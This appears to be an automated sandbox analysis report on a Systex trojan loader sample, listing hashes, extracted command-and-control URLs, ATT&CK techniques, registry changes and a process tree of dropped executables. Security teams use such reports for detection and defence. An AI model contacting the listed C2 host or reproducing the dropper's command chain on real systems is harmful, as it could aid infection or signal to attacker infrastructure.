systex | 2a845b16baf89e1e82203662a584972b025de1db4bbb3b95d64b4b78126a6359

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 01:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260805-cbmywatvas
SHA256 2a845b16baf89e1e82203662a584972b025de1db4bbb3b95d64b4b78126a6359
MD5 93f132afba52b26228078a9a4c7d0bc7
SHA1 e88b3fb833afc51626eb6c18bbc25140ac4cf91b
SHA512 be6ddab321b0a6f2ec127b053a7c000fa02dce38472e9d25ffdc1feadb0db15ccf7a46ac38bef4e0cffafc7e3f1b8a3d085e498b9c8c432e7135b41d65fbaae7
SSDEEP 6144:WflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:WflfAsiVGjSGecvX
TLSH
T118747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4188	ezxrpjhbzurmkecw.exe
3528	ezxrpjhbzurmkecw.sys
4900	CreateProcess.exe
2288	ecwupmkezu.exe
3400	CreateProcess.exe
1912	CreateProcess.exe
5084	i_ecwupmkezu.exe
1680	ecwurmjecw.sys
3808	CreateProcess.exe
532	wuomjecwuo.exe
2480	CreateProcess.exe
2672	CreateProcess.exe
5964	i_wuomjecwuo.exe
3132	jhtrolgdby.sys
5356	CreateProcess.exe
3512	eywtoljgey.exe
3216	CreateProcess.exe
3364	CreateProcess.exe
4700	i_eywtoljgey.exe
124	rligbytrlj.sys
3064	CreateProcess.exe
4772	rljdbytjdb.exe
1068	CreateProcess.exe
412	CreateProcess.exe
4744	i_rljdbytjdb.exe
1644	idbvtnlidb.sys
2984	CreateProcess.exe
1836	vtqoigaywq.exe
5980	CreateProcess.exe
2660	CreateProcess.exe
1872	i_vtqoigaywq.exe
4604	vtnlfdxvpn.sys
1524	CreateProcess.exe
5332	qnigaysqki.exe
5288	CreateProcess.exe
4628	CreateProcess.exe
5468	i_qnigaysqki.exe
1380	vtnlfdxnif.sys
4284	CreateProcess.exe
4264	kfdxvpnifa.exe
1116	CreateProcess.exe
3904	CreateProcess.exe
4944	i_kfdxvpnifa.exe
4636	usmkifaxvp.sys
2036	CreateProcess.exe
3528	xvsnkicaus.exe
1680	CreateProcess.exe
2708	CreateProcess.exe
5268	i_xvsnkicaus.exe
4844	xrpnhfzxrp.sys
5880	CreateProcess.exe
5508	pjhczusmkh.exe
444	CreateProcess.exe
2320	CreateProcess.exe
124	i_pjhczusmkh.exe
4444	ezxrpjhezw.sys
1108	CreateProcess.exe
3272	czxromgecw.exe
5048	CreateProcess.exe
1216	CreateProcess.exe
2736	i_czxromgecw.exe
5956	rmjebwuomg.sys
4100	CreateProcess.exe
2360	jdbwtomgey.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1836439804\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1083565798\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1083565798\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxvpnkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urmkecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvsnkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezxrpjhbzurmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czxromgecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmgezwrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmgezwrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywromgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhczusmkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljgbywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmkecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwupmkezu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywtoljgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhczusmkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cavsnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtqoigaywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdavqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwupmkezu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomjecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywtoljgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvsnkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqljgbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdavqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomjecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbytjdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbytjdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtqoigaywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czxromgecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljgbywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqljgbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxvpnkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cavsnkfdxv.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5076	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2196	ipconfig.exe
4412	ipconfig.exe
2772	ipconfig.exe
2164	ipconfig.exe
1804	ipconfig.exe
244	ipconfig.exe
5236	ipconfig.exe
2416	ipconfig.exe
2864	ipconfig.exe
1108	ipconfig.exe
4828	ipconfig.exe
256	ipconfig.exe
4560	ipconfig.exe
2736	ipconfig.exe
2440	ipconfig.exe
240	ipconfig.exe
924	ipconfig.exe
5988	ipconfig.exe
4512	ipconfig.exe
3336	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303684659594151"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3986082593-3624157295-3514260330-1000\{516F17D0-6545-4937-B2C6-E80F649AD97A}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe
4188	ezxrpjhbzurmkecw.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	5084	i_ecwupmkezu.exe
Token: SeDebugPrivilege	5964	i_wuomjecwuo.exe
Token: SeDebugPrivilege	4700	i_eywtoljgey.exe
Token: SeDebugPrivilege	4744	i_rljdbytjdb.exe
Token: SeDebugPrivilege	1872	i_vtqoigaywq.exe
Token: SeDebugPrivilege	5468	i_qnigaysqki.exe
Token: SeDebugPrivilege	4944	i_kfdxvpnifa.exe
Token: SeDebugPrivilege	5268	i_xvsnkicaus.exe
Token: SeDebugPrivilege	124	i_pjhczusmkh.exe
Token: SeDebugPrivilege	2736	i_czxromgecw.exe
Token: SeDebugPrivilege	4844	i_jdbwtomgey.exe
Token: SeDebugPrivilege	4828	i_ljgbywqojg.exe
Token: SeDebugPrivilege	1112	i_ytqljgbvtn.exe
Token: SeDebugPrivilege	5468	i_nlfdavqnig.exe
Token: SeDebugPrivilege	200	i_cavsnkfdxv.exe
Token: SeDebugPrivilege	5212	i_faxvpnkfcx.exe
Token: SeDebugPrivilege	2836	i_cxupmkecxu.exe
Token: SeDebugPrivilege	3756	i_urmkecwuom.exe
Token: SeDebugPrivilege	5304	i_pmgezwrpjh.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3332	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4288 wrote to memory of 4188	4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4288 wrote to memory of 3200	4288	2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 3200 wrote to memory of 3332	3200	iexplore.exe	91
PID 3332 wrote to memory of 3500	3332	msedge.exe	92
PID 3332 wrote to memory of 5076	3332	msedge.exe	93
PID 3332 wrote to memory of 2936	3332	msedge.exe	95
PID 3332 wrote to memory of 2936	3332	msedge.exe	95
PID 3332 wrote to memory of 2172	3332	msedge.exe	94
PID 3332 wrote to memory of 2172	3332	msedge.exe	94
PID 3332 wrote to memory of 2172	3332	msedge.exe	94
PID 3332 wrote to memory of 1952	3332	msedge.exe	117
PID 3332 wrote to memory of 1952	3332	msedge.exe	117
PID 3332 wrote to memory of 1952	3332	msedge.exe	117
PID 3332 wrote to memory of 1588	3332	msedge.exe	98
PID 3332 wrote to memory of 1588	3332	msedge.exe	98
PID 3332 wrote to memory of 1588	3332	msedge.exe	98
PID 3332 wrote to memory of 4876	3332	msedge.exe	99
PID 3332 wrote to memory of 4876	3332	msedge.exe	99
PID 3332 wrote to memory of 4876	3332	msedge.exe	99
PID 3332 wrote to memory of 472	3332	msedge.exe	100
PID 3332 wrote to memory of 472	3332	msedge.exe	100
PID 3332 wrote to memory of 472	3332	msedge.exe	100
PID 3332 wrote to memory of 5972	3332	msedge.exe	101
PID 3332 wrote to memory of 5972	3332	msedge.exe	101
PID 3332 wrote to memory of 2352	3332	msedge.exe	105
PID 3332 wrote to memory of 2352	3332	msedge.exe	105
PID 3332 wrote to memory of 2968	3332	msedge.exe	106
PID 3332 wrote to memory of 2968	3332	msedge.exe	106
PID 3332 wrote to memory of 2344	3332	msedge.exe	108
PID 3332 wrote to memory of 3272	3332	msedge.exe	109
PID 3332 wrote to memory of 3272	3332	msedge.exe	109
PID 4188 wrote to memory of 4900	4188	ezxrpjhbzurmkecw.exe	110
PID 2288 wrote to memory of 3400	2288	ecwupmkezu.exe	113
PID 3332 wrote to memory of 1536	3332	msedge.exe	116
PID 3332 wrote to memory of 1536	3332	msedge.exe	116
PID 4188 wrote to memory of 1912	4188	ezxrpjhbzurmkecw.exe	119
PID 4188 wrote to memory of 3808	4188	ezxrpjhbzurmkecw.exe	123
PID 532 wrote to memory of 2480	532	wuomjecwuo.exe	125
PID 4188 wrote to memory of 2672	4188	ezxrpjhbzurmkecw.exe	128
PID 4188 wrote to memory of 5356	4188	ezxrpjhbzurmkecw.exe	132
PID 3512 wrote to memory of 3216	3512	eywtoljgey.exe	134
PID 4188 wrote to memory of 3364	4188	ezxrpjhbzurmkecw.exe	137
PID 4188 wrote to memory of 3064	4188	ezxrpjhbzurmkecw.exe	142
PID 4772 wrote to memory of 1068	4772	rljdbytjdb.exe	144
PID 4188 wrote to memory of 412	4188	ezxrpjhbzurmkecw.exe	147
PID 3332 wrote to memory of 5360	3332	msedge.exe	149
PID 3332 wrote to memory of 4732	3332	msedge.exe	150
PID 3332 wrote to memory of 4412	3332	msedge.exe	151
PID 4188 wrote to memory of 2984	4188	ezxrpjhbzurmkecw.exe	154
PID 1836 wrote to memory of 5980	1836	vtqoigaywq.exe	156
PID 4188 wrote to memory of 2660	4188	ezxrpjhbzurmkecw.exe	159
PID 4188 wrote to memory of 1524	4188	ezxrpjhbzurmkecw.exe	163
PID 5332 wrote to memory of 5288	5332	qnigaysqki.exe	165
PID 4188 wrote to memory of 4628	4188	ezxrpjhbzurmkecw.exe	168
PID 4188 wrote to memory of 4284	4188	ezxrpjhbzurmkecw.exe	172
PID 4264 wrote to memory of 1116	4264	kfdxvpnifa.exe	174
PID 4188 wrote to memory of 3904	4188	ezxrpjhbzurmkecw.exe	177
PID 4188 wrote to memory of 2036	4188	ezxrpjhbzurmkecw.exe	181
PID 3528 wrote to memory of 1680	3528	xvsnkicaus.exe	183
PID 4188 wrote to memory of 2708	4188	ezxrpjhbzurmkecw.exe	186
PID 3332 wrote to memory of 4988	3332	msedge.exe	188
PID 3332 wrote to memory of 4988	3332	msedge.exe	188
PID 4188 wrote to memory of 5880	4188	ezxrpjhbzurmkecw.exe	194
PID 5508 wrote to memory of 444	5508	pjhczusmkh.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-05_93f132afba52b26228078a9a4c7d0bc7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Temp\ezxrpjhbzurmkecw.exe
  C:\Temp\ezxrpjhbzurmkecw.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecwupmkezu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4900
  - - C:\Temp\ecwupmkezu.exe
      C:\Temp\ecwupmkezu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2288
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3400
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2864
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecwupmkezu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1912
  - - C:\Temp\i_ecwupmkezu.exe
      C:\Temp\i_ecwupmkezu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wuomjecwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3808
  - - C:\Temp\wuomjecwuo.exe
      C:\Temp\wuomjecwuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:532
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2480
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:244
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wuomjecwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2672
  - - C:\Temp\i_wuomjecwuo.exe
      C:\Temp\i_wuomjecwuo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eywtoljgey.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5356
  - - C:\Temp\eywtoljgey.exe
      C:\Temp\eywtoljgey.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
